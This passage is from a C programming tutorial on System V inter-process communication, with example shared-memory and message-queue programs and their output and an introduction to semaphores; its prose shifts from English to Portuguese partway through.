The second argument, cmd, is the command to perform the required control operation on the shared memory segment.
Valid values for cmd are −
IPC_STAT − Copies the information of the current values of each member of struct shmid_ds to the passed structure pointed by buf. This command requires read permission to the shared memory segment.
IPC_SET − Sets the user ID, group ID of the owner, permissions, etc. pointed to by structure buf.
IPC_RMID − Marks the segment to be destroyed. The segment is destroyed only after the last process has detached it.
IPC_INFO − Returns the information about the shared memory limits and parameters in the structure pointed by buf.
SHM_INFO − Returns a shm_info structure containing information about the consumed system resources by the shared memory.
The third argument, buf, is a pointer to the shared memory structure named struct shmid_ds. The values of this structure would be used for either set or get as per cmd.
This call returns the value depending upon the passed command. Upon success of IPC_INFO and SHM_INFO or SHM_STAT returns the index or identifier of the shared memory segment or 0 for other operations and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.
Let us consider the following sample program.
Create two processes, one is for writing into the shared memory (shm_write.c) and another is for reading from the shared memory (shm_read.c)
The program performs writing into the shared memory by write process (shm_write.c) and reading from the shared memory by reading process (shm_read.c)
In the shared memory, the writing process, creates a shared memory of size 1K (and flags) and attaches the shared memory
The write process writes 5 times the Alphabets from ‘A’ to ‘E’ each of 1023 bytes into the shared memory. Last byte signifies the end of buffer
Read process would read from the shared memory and write to the standard output
Reading and writing process actions are performed simultaneously
After completion of writing, the write process updates to indicate completion of writing into the shared memory (with complete variable in struct shmseg)
Reading process performs reading from the shared memory and displays on the output until it gets indication of write process completion (complete variable in struct shmseg)
Performs reading and writing process for a few times for simplication and also in order to avoid infinite loops and complicating the program
Following is the code for write process (Writing into Shared Memory – File: shm_write.c)
/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
char *bufptr;
int spaceavailable;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from buffer to shared memory */
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
for (numtimes = 0; numtimes < 5; numtimes++) {
shmp->cnt = fill_buffer(bufptr, spaceavailable);
shmp->complete = 0;
printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
sleep(3);
}
printf("Writing Process: Wrote %d times\n", numtimes);
shmp->complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
int fill_buffer(char * bufptr, int size) {
static char ch = 'A';
int filled_count;
//printf("size is %d\n", size);
memset(bufptr, ch, size - 1);
bufptr[size-1] = '\0';
if (ch > 122)
ch = 65;
if ( (ch >= 65) && (ch <= 122) ) {
if ( (ch >= 91) && (ch <= 96) ) {
ch = 65;
}
}
filled_count = strlen(bufptr);
//printf("buffer count is: %d\n", filled_count);
//printf("buffer filled is:%s\n", bufptr);
ch++;
return filled_count;
}
Compilation and Execution Steps
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete
Following is the code for read process (Reading from the Shared Memory and writing to the standard output – File: shm_read.c)
/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from shared memory to stdout*/
while (shmp->complete != 1) {
printf("segment contains : \n\"%s\"\n", shmp->buf);
if (shmp->cnt == -1) {
perror("read");
return 1;
}
printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
sleep(3);
}
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
Compilation and Execution Steps
segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
Reading Process: Shared Memory: Read 1023 bytes
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
Why do we need message queues when we already have the shared memory? It would be for multiple reasons, let us try to break this into multiple points for simplification −
As understood, once the message is received by a process it would be no longer available for any other process. Whereas in shared memory, the data is available for multiple processes to access.
If we want to communicate with small message formats.
Shared memory data need to be protected with synchronization when multiple processes communicating at the same time.
Frequency of writing and reading using the shared memory is high, then it would be very complex to implement the functionality. Not worth with regard to utilization in this kind of cases.
What if all the processes do not need to access the shared memory but very few processes only need it, it would be better to implement with message queues.
If we want to communicate with different data packets, say process A is sending message type 1 to process B, message type 10 to process C, and message type 20 to process D. In this case, it is simplier to implement with message queues. To simplify the given message type as 1, 10, 20, it can be either 0 or +ve or –ve as discussed below.
Ofcourse, the order of message queue is FIFO (First In First Out). The first message inserted in the queue is the first one to be retrieved.
Using Shared Memory or Message Queues depends on the need of the application and how effectively it can be utilized.
Communication using message queues can happen in the following ways −
Writing into the shared memory by one process and reading from the shared memory by another process. As we are aware, reading can be done with multiple processes as well.
Writing into the shared memory by one process with different data packets and reading from it by multiple processes, i.e., as per message type.
Having seen certain information on message queues, now it is time to check for the system call (System V) which supports the message queues.
To perform communication using message queues, following are the steps −
Step 1 − Create a message queue or connect to an already existing message queue (msgget())
Step 2 − Write into message queue (msgsnd())
Step 3 − Read from the message queue (msgrcv())
Step 4 − Perform control operations on the message queue (msgctl())
Now, let us check the syntax and certain information on the above calls.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgget(key_t key, int msgflg)
This system call creates or allocates a System V message queue. Following arguments need to be passed −
The first argument, key, recognizes the message queue. The key can be either an arbitrary value or one that can be derived from the library function ftok().
The second argument, shmflg, specifies the required message queue flag/s such as IPC_CREAT (creating message queue if not exists) or IPC_EXCL (Used with IPC_CREAT to create the message queue and the call fails, if the message queue already exists). Need to pass the permissions as well.
Note − Refer earlier sections for details on permissions.
This call would return a valid message queue identifier (used for further calls of message queue) on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.
Various errors with respect to this call are EACCESS (permission denied), EEXIST (queue already exists can’t create), ENOENT (queue doesn’t exist), ENOMEM (not enough memory to create the queue), etc.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgsnd(int msgid, const void *msgp, size_t msgsz, int msgflg)
This system call sends/appends a message into the message queue (System V). Following arguments need to be passed −
The first argument, msgid, recognizes the message queue i.e., message queue identifier. The identifier value is received upon the success of msgget()
The second argument, msgp, is the pointer to the message, sent to the caller, defined in the structure of the following form −
struct msgbuf {
long mtype;
char mtext[1];
};
The variable mtype is used for communicating with different message types, explained in detail in msgrcv() call. The variable mtext is an array or other structure whose size is specified by msgsz (positive value). If the mtext field is not mentioned, then it is considered as zero size message, which is permitted.
The third argument, msgsz, is the size of message (the message should end with a null character)
The fourth argument, msgflg, indicates certain flags such as IPC_NOWAIT (returns immediately when no message is found in queue or MSG_NOERROR (truncates message text, if more than msgsz bytes)
This call would return 0 on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgrcv(int msgid, const void *msgp, size_t msgsz, long msgtype, int msgflg)
Esta chamada do sistema recupera a mensagem da fila de mensagens (Sistema V). Os seguintes argumentos precisam ser passados -
O primeiro argumento, msgid, reconhece a fila de mensagens, ou seja, o identificador da fila de mensagens. O valor do identificador é recebido após o sucesso de msgget ()
O segundo argumento, msgp, é o ponteiro da mensagem recebida do chamador. É definido na estrutura da seguinte forma -
struct msgbuf {
long mtype;
char mtext[1];
};
A variável mtype é usada para se comunicar com diferentes tipos de mensagens. A variável mtext é uma matriz ou outra estrutura cujo tamanho é especificado por msgsz (valor positivo). Se o campo mtext não for mencionado, é considerado como uma mensagem de tamanho zero, o que é permitido.
O terceiro argumento, msgsz, é o tamanho da mensagem recebida (a mensagem deve terminar com um caractere nulo)
O quarto argumento, msgtype, indica o tipo de mensagem -
If msgtype is 0 - Lê a primeira mensagem recebida na fila
If msgtype is +ve - Lê a primeira mensagem na fila do tipo msgtype (se msgtype for 10, então lê apenas a primeira mensagem do tipo 10, embora outros tipos possam estar na fila no início)
If msgtype is –ve - Lê a primeira mensagem do tipo mais baixo menor ou igual ao valor absoluto do tipo de mensagem (digamos, se msgtype for -5, então ele lê a primeira mensagem do tipo menor que 5, ou seja, tipo de mensagem de 1 a 5)
O quinto argumento, msgflg, indica certos sinalizadores como IPC_NOWAIT (retorna imediatamente quando nenhuma mensagem é encontrada na fila ou MSG_NOERROR (trunca o texto da mensagem se houver mais de bytes de msgsz)
Essa chamada retornaria o número de bytes realmente recebidos na matriz mtext em caso de sucesso e -1 em caso de falha. Para saber a causa da falha, verifique a variável errno ou a função perror ().
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
int msgctl(int msgid, int cmd, struct msqid_ds *buf)
Esta chamada de sistema executa operações de controle da fila de mensagens (Sistema V). Os seguintes argumentos precisam ser passados -
O primeiro argumento, msgid, reconhece a fila de mensagens, ou seja, o identificador da fila de mensagens. O valor do identificador é recebido após o sucesso de msgget ()
O segundo argumento, cmd, é o comando para executar a operação de controle necessária na fila de mensagens. Os valores válidos para cmd são -
IPC_STAT- Copia informações dos valores atuais de cada membro de struct msqid_ds para a estrutura passada apontada por buf. Este comando requer permissão de leitura na fila de mensagens.
IPC_SET - Define o ID do usuário, ID do grupo do proprietário, permissões, etc. apontados pela estrutura buf.
IPC_RMID - Remove a fila de mensagens imediatamente.
IPC_INFO - Retorna informações sobre os limites e parâmetros da fila de mensagens na estrutura apontada por buf, que é do tipo struct msginfo
MSG_INFO - Retorna uma estrutura msginfo contendo informações sobre os recursos do sistema consumidos pela fila de mensagens.
O terceiro argumento, buf, é um ponteiro para a estrutura da fila de mensagens chamada struct msqid_ds. Os valores dessa estrutura seriam usados para definir ou obter como por cmd.
Esta chamada retornaria o valor dependendo do comando passado. O sucesso de IPC_INFO e MSG_INFO ou MSG_STAT retorna o índice ou identificador da fila de mensagens ou 0 para outras operações e -1 em caso de falha. Para saber a causa da falha, verifique a variável errno ou a função perror ().
Depois de ver as informações básicas e as chamadas do sistema com relação às filas de mensagens, agora é hora de verificar com um programa.
Vamos ver a descrição antes de olhar para o programa -
Step 1 - Crie dois processos, um é para enviar para a fila de mensagens (msgq_send.c) e outro é para recuperar da fila de mensagens (msgq_recv.c)
Step 2- Criação da chave, usando a função ftok (). Para isso, inicialmente é criado o arquivo msgq.txt para obter uma chave única.
Step 3 - O processo de envio executa o seguinte.
Lê a entrada de string do usuário
Remove a nova linha, se existir
Envia para a fila de mensagens
Repete o processo até o final da entrada (CTRL + D)
Uma vez recebido o fim da entrada, envia a mensagem “fim” para significar o fim do processo
Step 4 - No processo de recebimento, realiza o seguinte.
- Lê a mensagem da fila
- Exibe a saída
- Se a mensagem recebida for “fim”, termina o processo e sai
Para simplificar, não estamos usando o tipo de mensagem para esta amostra. Além disso, um processo está gravando na fila e outro processo está lendo na fila. Isso pode ser estendido conforme necessário, ou seja, o ideal é que um processo grave na fila e vários processos sejam lidos da fila.
Agora, vamos verificar o processo (envio de mensagens para a fila) - Arquivo: msgq_send.c
/* Filename: msgq_send.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int len;
key_t key;
system("touch msgq.txt");
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
printf("message queue: ready to send messages.\n");
printf("Enter lines of text, ^D to quit:\n");
buf.mtype = 1; /* we don't really care in this case */
while(fgets(buf.mtext, sizeof buf.mtext, stdin) != NULL) {
len = strlen(buf.mtext);
/* remove newline at end, if it exists */
if (buf.mtext[len-1] == '\n') buf.mtext[len-1] = '\0';
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
}
strcpy(buf.mtext, "end");
len = strlen(buf.mtext);
if (msgsnd(msqid, &buf, len+1, 0) == -1) /* +1 for '\0' */
perror("msgsnd");
if (msgctl(msqid, IPC_RMID, NULL) == -1) {
perror("msgctl");
exit(1);
}
printf("message queue: done sending messages.\n");
return 0;
}
Etapas de compilação e execução
message queue: ready to send messages.
Enter lines of text, ^D to quit:
this is line 1
this is line 2
message queue: done sending messages.
A seguir está o código do processo de recebimento de mensagens (recuperando a mensagem da fila) - Arquivo: msgq_recv.c
/* Filename: msgq_recv.c */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define PERMS 0644
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void) {
struct my_msgbuf buf;
int msqid;
int toend;
key_t key;
if ((key = ftok("msgq.txt", 'B')) == -1) {
perror("ftok");
exit(1);
}
if ((msqid = msgget(key, PERMS)) == -1) { /* connect to the queue */
perror("msgget");
exit(1);
}
printf("message queue: ready to receive messages.\n");
for(;;) { /* normally receiving never ends but just to make conclusion
/* this program ends wuth string of end */
if (msgrcv(msqid, &buf, sizeof(buf.mtext), 0, 0) == -1) {
perror("msgrcv");
exit(1);
}
printf("recvd: \"%s\"\n", buf.mtext);
toend = strcmp(buf.mtext,"end");
if (toend == 0)
break;
}
printf("message queue: done receiving messages.\n");
system("rm msgq.txt");
return 0;
}
Etapas de compilação e execução
message queue: ready to receive messages.
recvd: "this is line 1"
recvd: "this is line 2"
recvd: "end"
message queue: done receiving messages.
A primeira pergunta que vem à mente é: por que precisamos de semáforos? Uma resposta simples, para proteger a região crítica / comum compartilhada entre vários processos.
Vamos supor que vários processos estejam usando a mesma região de código e se todos quiserem acessar paralelamente, o resultado será sobreposto. Digamos, por exemplo, que vários usuários estejam usando apenas uma impressora (seção comum / crítica), digamos 3 usuários, dados 3 trabalhos ao mesmo tempo, se todos os trabalhos começarem paralelamente, uma saída do usuário será sobreposta a outra. Portanto, precisamos proteger isso usando semáforos, ou seja, bloqueando a seção crítica quando um processo está em execução e desbloqueando quando estiver concluído. Isso seria repetido para cada usuário / processo para que um trabalho não seja sobreposto a outro.
Basicamente, os semáforos são classificados em dois tipos -
Binary Semaphores - Apenas dois estados 0 e 1, ou seja, bloqueado / desbloqueado ou disponível / indisponível, implementação Mutex.
Counting Semaphores - Os semáforos que permitem a contagem arbitrária de recursos são chamados de semáforos de contagem.
Suponha que temos 5 impressoras (para entender, suponha que 1 impressora aceita apenas 1 trabalho) e temos 3 trabalhos para imprimir. Agora, 3 trabalhos seriam dados para 3 impressoras (1 cada). Mais uma vez, 4 trabalhos surgiram durante o andamento. Agora, das 2 impressoras disponíveis, 2 trabalhos foram programados e ficamos com mais 2 trabalhos, que seriam concluídos somente depois que um dos recursos / impressora estivesse disponível. Este tipo de agendamento de acordo com a disponibilidade de recursos pode ser visto como semáforos de contagem.
Para realizar a sincronização usando semáforos, a seguir estão as etapas -
Step 1 - Crie um semáforo ou conecte-se a um semáforo já existente (semget ())
Step 2 - Executar operações no semáforo, ou seja, alocar, liberar ou aguardar os recursos (semop ())
Step 3 - Executar operações de controle na fila de mensagens (semctl ())
Agora, vamos verificar isso com as chamadas de sistema que temos.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semget(key_t key, int nsems, int semflg)
Esta chamada de sistema cria ou aloca um conjunto de semáforo System V. Os seguintes argumentos precisam ser passados -
O primeiro argumento, chave, reconhece a fila de mensagens. A chave pode ser um valor arbitrário ou derivado da função de biblioteca ftok ().
O segundo argumento, nsems, especifica o número de semáforos. Se binário, então é 1, implica a necessidade de 1 conjunto de semáforo, caso contrário, de acordo com a contagem necessária do número de conjuntos de semáforo.
O terceiro argumento, semflg, especifica os sinalizadores de semáforo necessários, como IPC_CREAT (criando semáforo se ele não existir) ou IPC_EXCL (usado com IPC_CREAT para criar o semáforo e a chamada falhar, se um semáforo já existir). Precisa passar as permissões também.
Note - Consulte as seções anteriores para obter detalhes sobre as permissões.
Esta chamada retornaria um identificador de semáforo válido (usado para chamadas adicionais de semáforos) em caso de sucesso e -1 em caso de falha. Para saber a causa da falha, verifique a variável errno ou a função perror ().
Vários erros em relação a esta chamada são EACCESS (permissão negada), EEXIST (fila já existe, não pode ser criada), ENOENT (fila não existe), ENOMEM (memória insuficiente para criar a fila), ENOSPC (limite máximo de conjuntos excedido), etc.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semop(int semid, struct sembuf *semops, size_t nsemops)
Esta chamada de sistema executa as operações nos conjuntos de semáforo do System V, a saber, alocar recursos, aguardar os recursos ou liberar os recursos. Os seguintes argumentos precisam ser passados -
O primeiro argumento, semid, indica o identificador do conjunto de semáforo criado por semget ().
O segundo argumento, semops, é o ponteiro para uma matriz de operações a serem realizadas no conjunto de semáforo. A estrutura é a seguinte -
struct sembuf {
unsigned short sem_num; /* Semaphore set num */
short sem_op; /* Semaphore operation */
short sem_flg; /* Operation flags, IPC_NOWAIT, SEM_UNDO */
};
Elemento, sem_op, na estrutura acima, indica a operação que precisa ser realizada -
Se sem_op for –ve, aloque ou obtenha recursos. Bloqueia o processo de chamada até que recursos suficientes sejam liberados por outros processos, para que este processo possa ser alocado.
Se sem_op for zero, o processo de chamada espera ou dorme até que o valor do semáforo alcance 0.
Se sem_op for + ve, libere recursos.
Por exemplo -
struct sembuf sem_lock = {0, -1, SEM_UNDO};
struct sembuf sem_unlock = {0, 1, SEM_UNDO};
O terceiro argumento, nsemops, é o número de operações nessa matriz.
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int semctl(int semid, int semnum, int cmd, …)
Esta chamada de sistema executa a operação de controle para um semáforo System V. Os seguintes argumentos precisam ser passados -
O primeiro argumento, semid, é o identificador do semáforo. Este id é o identificador do semáforo, que é o valor de retorno da chamada do sistema semget ().
